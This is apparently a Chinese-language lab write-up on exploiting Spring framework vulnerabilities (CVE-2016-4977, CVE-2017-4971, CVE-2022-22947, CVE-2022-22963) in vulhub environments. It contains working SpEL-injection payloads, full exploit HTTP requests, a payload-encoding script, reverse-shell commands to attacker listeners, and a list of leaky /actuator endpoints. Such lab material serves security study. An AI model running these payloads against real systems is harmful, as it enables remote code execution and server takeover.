一.Spring简介

Spring框架是一个开放源代码的J2EE应用程序框架,是针对bean的生命周期进行管理的轻量级容器。Spring可以单独应用于构筑应用程序,也可以和Struts、Webwork、Tapestry等众多Web框架组合使用,并且可以与 Swing等桌面应用程序AP组合。

Spring发展到现在,全家桶所包含的内容非常庞大,
这里主要介绍其中关键的5个部分:
1.Spring Framework
也就是我们经常说的spring框架,包括了ioc依赖注入,Context上下文、bean管理、springmvc等众多功能模块,其它spring项目比如spring boot也会依赖spring框架。
2.SpringBoot
它的目标是简化Spring应用和服务的创建、开发与部署,简化了配置文件,
使用嵌入式web服务器,含有诸多开箱即用的微服务功能,可以和spring cloud联合部署。
Spring Boot的核心思想是约定大于配置,应用只需要很少的配置即可,简化了应用开发模式。
3.Spring Data
是一个数据访问及操作的工具集,封装了多种数据源的操作能力,
包括:jdbc、Redis、MongoDB等。
4.Spring Cloud
是一套完整的微服务解决方案,是一系列不同功能的微服务框架的集合。Spring Cloud基于Spring Boot,简化了分布式系统的开发,集成了服务发现、配置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力。比如sleuth提供了全链路追踪能力,Netflix套件提供了hystrix熔断器、zuul网关等众多的治理组件。config组件提供了动态配置能力,bus组件支持使用RabbitMQ、kafka、Activemq等消息队列,实现分布式服务之间的事件通信。
5.Spring Security
主要用于快速构建安全的应用程序和服务,在Spring Boot和Spring Security OAuth2的基础上,可以快速实现常见安全模型,如单点登录,令牌中继和令牌交换。你可以了解一下oauth2授权机制和jwt认证方式。oauth2是一种授权机制,规定了完备的授权、认证流程。JWT全称是JSON Web Token,是一种把认证信息包含在token中的认证实现,oauth2授权机制中就可以应用jwt来作为认证的具体实现方法。

二.CVE-2016-4977
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
漏洞原理:
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
影响版本:
Spring Security OAuth 2.0 – 2.0.9
Spring Security OAuth 1.0 – 1.0.5
漏洞环境:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)
靶场环境搭建成功之后,拼接路径payload来验证漏洞是否存在.
发现需要我们进行登录,这里根据弱口令admin/admin进行登录。
http://192.168.100.104:8080/oauth/authorize

执行命令: 2*2
http://192.168.100.104:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

${ }里面的内容被解析并执行,说明我们可以利用反弹shell来进行远程命令执行.
在线生成编码后的反弹shell
https://forum.ywhack.com/shell.php

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}使用脚本生成payload
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
把生成的sPel表达式放到刚刚的位置
http://192.168.100.104:8080/oauth/authorize?response_type=${payload}&client_id=acme&scope=openid&redirect_uri=http://testhttp://192.168.100.104:8080/oauth/authorize?response_type=${${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}}&client_id=acme&scope=openid&redirect_uri=http://test执行payload

反弹shell已经收到了

三.CVE-2017-4971
/vulhub/spring/CVE-2017-4971
首先验证漏洞

然后点Revise
把这个POST的值后面添加poc
&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("1_Ry","True").aaa=n1nty验证漏洞,执行成功后会如图所示,在 HTTP 返回头部中会多出 1_Ry字段

反弹shell
反弹shell payload,注意里面的反弹shell语句是经过了url编码的
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash+-c+$%40|bash+0+echo+bash+-i+>%26/dev/tcp/192.168.111.2/10010+0>%261")
这两种都可
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.91.129/10010+0>%261")).start()=testjava.lang.ProcessBuilder 是 Java 标准库中的一个类,用于创建和管理操作系统进程。通过它,你可以在 Java 程序中运行外部命令或执行脚本。
它提供了更高级别的接口,与直接使用 Runtime.getRuntime().exec() 相比,功能更强大且更容易管理。

收到反弹shell

四.CVE-2022-22947
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
漏洞原理:
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
影响版本:
Spring Cloud Gateway 3.1.0
Spring Cloud Gateway 3.0.0 - 3.0.6
Spring Cloud Gateway 其他已不再更新的版本
访问靶机

构造包含恶意请求的路由,利用BP进行发送:

POST /actuator/gateway/routes/aaa HTTP/1.1
Host: 192.168.100.104:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 334
{
"id": "aaa",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}刷新网关路由
有点慢
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.100.104:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
最后可以直接GET请求


GET /actuator/gateway/routes/aaa HTTP/1.1
Host: 192.168.100.104:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
反弹shell
POST /actuator/gateway/routes/bbb HTTP/1.1
Host: 192.168.100.104:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 419
{
"id": "bbb",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}\").getInputStream()))}"
}
}],
"uri": "http://192.168.100.104:8080/"
}先在kali那边启用监听,再刷新网关路由。
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.100.104:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

五.CVE-2022-22963
Kali先开启监听,然后抓包发生。

POST /functionRouter HTTP/1.1
Host: 192.168.100.104:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.100.100/10000 0>&1")
Content-Type: text/plain
Content-Length: 4
test收到shell

拓展
除了以上的漏洞以外,Spring最大的安全隐患就是/actuator的鉴权

不安全的 /actuator 配置可能会泄露以下类型的信息:
环境变量(
/actuator/env): 包含系统环境变量和应用配置,例如数据库连接信息、API 密钥等。 示例:
Beans 信息(
/actuator/beans): 列出应用程序中的所有 Bean 及其依赖关系,攻击者可以用来推测应用的内部结构。应用配置信息(
/actuator/configprops): 包括 Spring 的自动配置信息,可能暴露自定义配置或默认行为。日志级别(
/actuator/loggers): 攻击者可以根据日志级别调整攻击策略,甚至尝试伪造日志。健康状态(
/actuator/health): 如果暴露了详细健康检查,可能会显示数据库连接状态、磁盘使用情况等。
线程堆栈(
/actuator/threaddump):暴露当前的线程状态和调用堆栈,可能会泄露用户活动信息或应用运行状态。堆内存转储(
/actuator/heapdump):允许下载 JVM 内存快照,其中可能包含敏感数据(如用户会话信息)。执行的任务信息(
/actuator/scheduledtasks):显示应用中调度任务的详细信息。路由信息(
/actuator/mappings):暴露所有 HTTP 路由及其处理器,可能让攻击者更容易识别潜在目标。
附属工具
SpringBoot-Scan
https://github.com/AabyssZG/SpringBoot-Scan
SpringExploitGUI
https://github.com/charonlight/SpringExploitGUI
visualvm
多合一故障处理工具,功能比较全面的一个工具
通过 VisualVM,可以对 Spring 应用的以下内容进行深入分析,从而发现潜在漏洞:
线程堆栈:检测死锁、线程池配置问题。
内存使用:发现内存泄漏或敏感数据。
性能瓶颈:定位慢方法或资源耗尽点。
GC 活动:分析对象创建和销毁的合理性。
配置和日志:检查配置类和日志级别是否暴露敏感信息。
-.-
评论区